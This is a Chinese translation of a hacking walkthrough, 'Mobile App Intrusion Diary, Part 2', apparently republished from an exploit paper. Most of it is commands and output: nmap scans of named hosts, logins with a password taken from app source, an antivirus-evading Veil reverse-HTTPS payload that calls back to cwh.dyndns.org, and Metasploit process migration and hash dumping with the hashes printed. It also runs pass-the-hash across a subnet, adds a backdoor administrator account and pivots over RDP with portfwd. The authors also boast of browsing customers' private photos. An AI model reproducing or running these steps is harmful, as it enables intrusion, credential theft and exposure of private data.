邮箱:service@hongdaqianqiu.com
《手机应用入侵日记(上)》发布后广受好评，现在推出下集，希望各位喜欢。
“多数情况下，与客户端通信的是一个或多个web服务器。对手机应用服务器端的攻击与对普通的web站点攻击类似。除了寻找web应用的漏洞，还需要对目标主机进行扫描，看看运行了哪些服务，之后再进行漏洞扫描，来找到潜在的漏洞。当然，要在许可的情况下进行这些操作喔。”
——SANS渗透测试博客
[0x03a] – 扫描
根据上文，我们已经从源码中找到了后台IP地址(203.60.240.180 和 203.60.240.183)，接下来，我们就要用Nmap扫描来检测下它的安全性。
首先用 nmap (http://nmap.org)对目标主机进行扫描来查看开放的端口。
对于203.60.240.180，Nmap 扫描结果 ：
—————————————————————
[zeq3ul@12:30:54]-[~]> nmap -sV -PN 203.60.240.180
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
Starting Nmap 6.00 ( http://nmap.org ) at 2013-06-07 12:31 ICT
Nmap scan report for 203.60.240.180
Host is up (0.0047s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.0
443/tcp open ssl/http Microsoft IIS httpd 7.0
3389/tcp open ms-wbt-server?
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.99 seconds
|
—————————————————————
对于203.60.240.183，Nmap 扫描结果 ：
—————————————————————
[zeq3ul@12:35:12]-[~]> nmap -sV -PN 203.60.240.183
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
Starting Nmap 6.00 ( http://nmap.org ) at 2013-06-07 12:35 ICT
Nmap scan report for 203.60.240.183
Host is up (0.0036s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at http://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 16.38 seconds
|
—————————————————————
从扫描结果中，我们找到了开着的端口，在203.60.240.180 运行着IIS还有终端服务， 203.60.240.183运行着FTP服务。是时候来采摘我们的果实了。
[0x03b] – 获取权限
因为我们已经在源码中找到了用户名和密码(“msec1s”,”S1lentM!@#$ec”)。我们就能访问服务器上运行的FTP服务了。如下：
FTP Server: 203.60.240.183
—————————————————————
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
[zeq3ul@12:40:12]-[~]> ftp 203.60.240.183
Connected to 203.60.140.183
220 Microsoft FTP Service
User <203.60.140.183:<none>>: msec1s
331 Password required
Password:
230 User logged in.
ftp> pwd
257 “/” is current directory.
ftp>
|
—————————————————————
现在我们已经使用账号”msec1s”登录上了FTP服务器。我们能够访问所有客户的联系人，照片，视频等等了。我们希望找到一些“有趣的”照片或者剪辑的视频；但是我们发现了DICK!!!WTF（不懂就百度）！！我们就停止了搜索。给跪…
把目标移向下一个主机, 203.60.240.180, 我们试着通过终端服务来访问它. 非常幸运，我们使用FTP的那个用户名密码(“msec1s”,”S1lentM!@#$ec”)就能访问（大忌！几个服务都使用同一个账号密码）。太爽了！
使用rdesktop访问远程桌面
—————————————————————
[zeq3ul@12:56:04]-[~]> rdesktop -u msec1s -p S1lentM!@#$ec 203.60.240.180
—————————————————————
另外, “msecls” 账号还有管理员权限. 越来越爽了!
[0x03c] – 绕过杀毒软件
很多杀毒软件通过特征码来查杀病毒。如果杀软发现恶意软件的特征码，就会隔离或是清除它。如果杀软在文件中找不到病毒特征码，就认为它是安全的。
Veil，这个由Blackhat安全专家Chris Truncer写的payload生成工具，可以帮助我们出色的完成这个任务。
源码下载：https://www.christophertruncer.com/veil-a-payload-generator-to-bypass-antivirus、
对veil的利用，可以看本站原创翻译的文章《Veil—绕过杀毒软件的payload生成器》。
使用我们的payload和msfveom shellcode,选择Reverse HTTPS到我们的web服务器(cwh.dyndns.org)，命令如下：
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
==================================================================
Veil | [Version]: 1.1.0 | [Updated]: 06.01.2013
==================================================================
[?] Use msfvenom or supply custom shellcode?
1 - msfvenom (default)
2 - Custom
[>] Please enter the number of your choice: 1
[?] What type of payload would you like?
1 - Reverse TCP
2 - Reverse HTTP
3 - Reverse HTTPS
0 - Main Menu
>] Please enter the number of your choice: 3
[?] What‘s the Local Host IP Address: cwh.dyndns.org
[?] What’s the LocalPort Number: 443
–––––––––––––––––––––––––––––––-
|
现在我们已经得到了payload.exe文件，只要windows系统执行该文件，它就会立刻试着连到我们的服务器上。
[0x03d] – 拿下系统 !!
该拿下系统了！因为可以使用远程桌面服务（端口：3389）来访问目标服务器(203.60.140.180)，目标主机能访问内网，我们就可以打开web服务器，然后远程登录到服务器，执行我们的payload(payload.exe)。运行的Metasploit payload(payload.exe)会连(reverse_https)到我们服务器(cwh.dyndns.org)上的meterpreter payload。
之后，我们使用hashdump得到服务器上的LM/NTLM hash，但是这是行不通的，因为如果你是64位系统，但是meterpreter不运行在64位系统上，就会失败，告诉我们版本不对（Meterpreter是32位程序）.所以我们需要找到一个进程来移植然后在这反弹程序。本例中我们把我们的进程移植到到Winlogon进程（64位）上。
过程如下：
—————————————————————
[zeq3ul@13:16:14]-[~]> sudo msfconsole
[sudo] password for zeq3ul:
|
1
2
3
4
5
6
7
8
9
|
Call trans opt: received. 2-19-98 13:18:48 REC:Loc
Trace program: running
http://metasploit.pro=[ metasploit v4.6.2-1 [core:4.6 api:1.0]
+ – –=[ 1113 exploits - 701 auxiliary - 192 post
+ – –=[ 300 payloads - 29 encoders - 8 nops
|
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_https
PAYLOAD => windows/meterpreter/reverse_https
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > set LHOST cwh.dyndns.org
LHOST => cwh.dyndns.org
msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > exploit -j
|
1
2
3
|
[*] Exploit running as background job.
[*] Started HTTPS reverse handler on https://cwh.dyndns.org:443/
|
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
|
msf exploit(handler) > [*] Starting the payload handler...
[*] 203.60.240.180:49160 Request received for /oOTJ...
[*] 203.60.240.180:49160 Staging connection for target /oOTJ received...
[*] Patched user-agent at offset 640488…
[*] Patched transport at offset 640148…
[*] Patched URL at offset 640216…
[*] Patched Expiration Timeout at offset 640748…
[*] Patched Communication Timeout at offset 640752…
[*] Meterpreter session 1 opened (cwh.dyndns.org:443 -> 203.60.240.180:49160) at 2013-06-07 13:25:17 +0700
sessions -l
Active sessions
===============
Id Type Information Connection
– –– –––––- –––––
1 meterpreter x86/win32 WIN-UUOFVQRLB13msec1s @ WIN-UUOFVQRLB13 cwh.dyndns.org:443 -> 203.60.240.180:49160 (203.60.240.180)
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1…
meterpreter > sysinfo
Computer : WIN-UUOFVQRLB13
OS : Windows 2008 R2 (Build 7600).
Architecture : x64 (Current Process is WOW64)
System Language : en_US
Meterpreter : x86/win32
meterpreter > ps -S winlogon
Filtering on process name...
Process List
============
PID PPID Name Arch Session User Path
–- –– –– –– –––- –– ––
384 340 winlogon.exe x86_64 1 NT AUTHORITYSYSTEM C:WindowsSystem32winlogon.exe
meterpreter > migrate 384
[*] Migrating from 1096 to 384…
[*] Migration completed successfully.
|
meterpreter > sysinfo
|
1
2
3
4
5
6
7
8
9
|
Computer : WIN-UUOFVQRLB13
OS : Windows 2008 R2 (Build 7600).
Architecture : x64
System Language : en_US
Meterpreter : x64/win64
|
meterpreter > run hashdump
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY c6b1281c29c15b25cfa14495b66ea816...
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hints...
No users with password hints on this system
[*] Dumping password hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:de26cce0356891a4a020e7c4957afc72:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
msec1s:1000:aad3b435b51404eeaad3b435b51404ee:73778dadcbb3fbd800e5bb383d5ec1e3:::
|
—————————————————————
现在，我们已经获得目标机器上的哈希了。哈希在手，权限我有啊，木哈哈~~
[0x03e] – 还没有结束
在正常情况下，我们接下来就要破解得到的hash了。破解windows hash会有花很多时间（呃，其实win下的密码哈希很好破解），所以你希望不费太多时间久可以绕过密码验证？
传递哈希密码攻击或许会是一个很好的方法，最简单利用“传递哈希密码攻击”的方法是利用Metasploit内置的PSEXEC module模块(exploit/windows/smb/psexec)，这个模块能执行一个提供任意验证功能的payload。
这个payload能伪造一个 Windows SMB 服务的管理员证书(如果当你有了管理员的password或 hash后), 然后再在目标机子上建立一个windows的服务，然后你可以通过这个服务为跳板来提权。 当你获取到一台windows系统机器的哈希值的话，这个工具就成为你的首选的渗透测试工具啦。
著名黑客Carlos Perez也写出了psexec_scanner批量扫描版本，如果有兴趣的ri友，可以从下面的连接找到。
http://www.darkoperator.com/blog/2011/12/16/psexec-scanner-auxiliary-module.html
—————————————————————
meterpreter > background
[*] Backgrounding session 1…
msf exploit(handler) > use auxiliary/scanner/smb/psexec_scanner
msf auxiliary(psexec_scanner) > show options
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
Module options (auxiliary/scanner/smb/psexec_scanner):
Name Current Setting Required Description
–– –––––––- –––– –––––-
HANDLER true no Start an Exploit Multi Handler to receive the connection
LHOST yes Local Hosts for payload to connect.
LPORT yes LocalPort for payload to connect.
OPTIONS no Comma separated list of additional options for payload if needed in ‘opt=val,opt=val’ format.
PAYLOAD windows/meterpreter/reverse_tcp yes Payload to use against Windows host
RHOSTS yes Range of hosts to scan.
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain WORKGROUP yes SMB Domain
SMBPass no SMB Password
SMBUser no SMB Username
THREADS yes The number of concurrent threads
TYPE manual no Type of credentials to use, manual for provided one, db for those found on the database (accepted: db, manual)
|
msf auxiliary(psexec_scanner) > set LHOST cwh.dyndns.org
LHOST => cwh.dyndns.org
msf auxiliary(psexec_scanner) > set LPORT 8443
LPORT => 8443
msf auxiliary(psexec_scanner) > set RHOSTS 203.60.240.0/24
RHOSTS => 203.60.240.0/24
msf auxiliary(psexec_scanner) > set SMBUser administrator
SMBUser => administrator
msf auxiliary(psexec_scanner) > set SMBPass aad3b435b51404eeaad3b435b51404ee:de26cce0356891a4a020e7c4957afc72
SMBPass => aad3b435b51404eeaad3b435b51404ee:de26cce0356891a4a020e7c4957afc72
msf auxiliary(psexec_scanner) > set THREADS 10
THREADS => 10
msf auxiliary(psexec_scanner) > exploit
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
|
[*] Using the username and password provided
[*] Starting exploit multi handler
[*] Started reverse handler on cwh.dyndns.org:8443
[*] Starting the payload handler...
[*] Scanned 031 of 256 hosts (012% complete)
[*] Scanned 052 of 256 hosts (020% complete)
[*] Scanned 077 of 256 hosts (030% complete)
[*] Scanned 111 of 256 hosts (043% complete)
[*] Scanned 129 of 256 hosts (050% complete)
[*] Scanned 154 of 256 hosts (060% complete)
[*] 203.60.240.165:445 - TCP OPEN
[*] Trying administrator:aad3b435b51404eeaad3b435b51404ee:de26cce0356891a4a020e7c4957afc72
[*] 203.60.240.180:445 - TCP OPEN
[*] Trying administrator:aad3b435b51404eeaad3b435b51404ee:de26cce0356891a4a020e7c4957afc72
[*] Connecting to the server...
[*] Authenticating to 203.60.240.165:445|WORKGROUP as user ‘administrator’...
[*] Connecting to the server...
[*] Authenticating to 203.60.240.180:445|WORKGROUP as user ‘administrator’...
[*] Uploading payload...
[*] Uploading payload...
[*] Created ExigHylG.exe...
[*] Created xMhdkXDt.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:203.60.240.180[svcctl] ...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:203.60.240.165[svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:203.60.240.180[svcctl] ...
[*] Obtaining a service manager handle...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:203.60.240.165[svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (ZHBMTKgE - “MgHtGamQQzIQxKDJsGWvcgiAStFttWMt”)...
[*] Creating a new service (qJTBfPjT - “MhIpwSR”)...
[*] Closing service handle...
[*] Closing service handle...
[*] Opening service...
[*] Opening service...
[*] Starting the service...
[*] Starting the service...
[*] Removing the service...
[*] Removing the service...
[*] Sending stage (751104 bytes) to 203.60.240.180
[*] Closing service handle...
[*] Closing service handle...
[*] Deleting xMhdkXDt.exe...
[*] Deleting ExigHylG.exe...
[*] Meterpreter session 2 opened (cwh.dyndns.org:8443 -> 203.60.240.180:49161) at 2013-07-02 13:40:42 +0700
[*] Sending stage (751104 bytes) to 203.60.240.165
[*] Meterpreter session 3 opened (cwh.dyndns.org:8443 -> 203.60.240.165:50181) at 2013-07-02 13:42:06 +0700
[*] Scanned 181 of 256 hosts (070% complete)
[*] Scanned 205 of 256 hosts (080% complete)
[*] Scanned 232 of 256 hosts (090% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
|
msf auxiliary(psexec_scanner) > sessions -l
|
1
2
3
4
5
6
7
8
9
10
11
12
13
|
Active sessions
===============
Id Type Information Connection
– –– –––––- –––––
1 meterpreter x86/win32 WIN-UUOFVQRLB13msec1s @ WIN-UUOFVQRLB13 cwh.dyndns.org:443 -> 203.60.240.180:49160 (203.60.240.180)
2 meterpreter x86/win32 NT AUTHORITYSYSTEM @ WIN-UUOFVQRLB13 cwh.dyndns.org:8443 -> 203.60.240.180:49161 (203.60.240.180)
3 meterpreter x86/win32 NT AUTHORITYSYSTEM @ WIN-HDO6QC2QVIV cwh.dyndns.org:8443 -> 203.60.240.165:50181 (203.60.240.165)
|
msf auxiliary(psexec_scanner) > sessions -i 3
[*] Starting interaction with 3…
meterpreter > getuid
Server username: NT AUTHORITYSYSTEM
meterpreter > sysinfo
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
Computer : WIN-HDO6QC2QVIV
OS : Windows 2008 R2 (Build 7600).
Architecture : x64 (Current Process is WOW64)
System Language : en_US
Meterpreter : x86/win32
meterpreter > shell
Process 2568 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:Windowssystem32>net user cwh 5plus4=10 /add
net user cwh 5plus4=10 /add
The command completed successfully.
C:Windowssystem32>net localgroup administrators cwh /add
net localgroup administrators cwh /add
The command completed successfully.
C:Windowssystem32>exit
|
—————————————————————
现在我们需要处理下一个主机了(203.60.240.165).
输入”netstat -an” 查看目标主机开放的端口，我们发现开放了3389端口，但是我们不能直接登录，因为该端口被防火墙过滤了。但是我们可以绕过它。
我们使用Meterpreter中的”portfwd”命令。Portfwd是个常见的利用pivoting技术来提供给攻击主机直接访问目标主机，他的原理就是自动打开另一条TCP连接，将目标端口转发到自动开辟的这条连接的端口上。你可以使用下列的命令来连接你的攻击主机和你的目标主机：
—————————————————————
|
1
2
3
|
meterpreter > portfwd add -l 3389 -r 127.0.0.1 -p 3389
[*] Local TCP relay created: 0.0.0.0:3389 <-> 127.0.0.1:3389
|
—————————————————————
最后, 我们使用下面的 rdesktop 命令来连接目标服务器(203.60.240.165)：
—————————————————————
|
1
|
[zeq3ul@14:02:51]-[~]> rdesktop -u cwh -p 5plus4=10 localhost
|
—————————————————————
撸了这么久终于射了，好爽啊！！！
到这里，我们的攻击已经从刚开始的从手机应用里面搜集信息到最后的提权。中间的突破口是在手机应用的反汇编文件中找到它连接的FTP服务器的账号与密码，再通过一点社会工程学猜出了另一台web服务器机器的密码。提权的时候，紧跟着metasploit的步伐，算是一次MSF的高级利用吧，其实也将后面提权的部分看做是一次MSF提权的高级教程。
好了，这次的手机应用入侵已经告一段落了哦，我们最近会开通投稿和积分换取礼物活动，如果各位ri友有什么好文章，请不吝赐教哦，连接入口：http://www.91ri.org/contribute
原文链接：http://www.exploit-db.com/papers/26620/
日币奖励：
本文为译文且为原创、首发，文章较生动形象，并有一定技术含量，给予日币奖励共6枚，译者与修改者分别获得3枚日币。
本文由网络攻防研究室（www.91ri.org）信息安全小组v2djia，月巴_又鸟原创翻译，转载请注明出处。
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式：
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱：service@hongdaqianqiu.com
备案号：粤ICP备15078875号
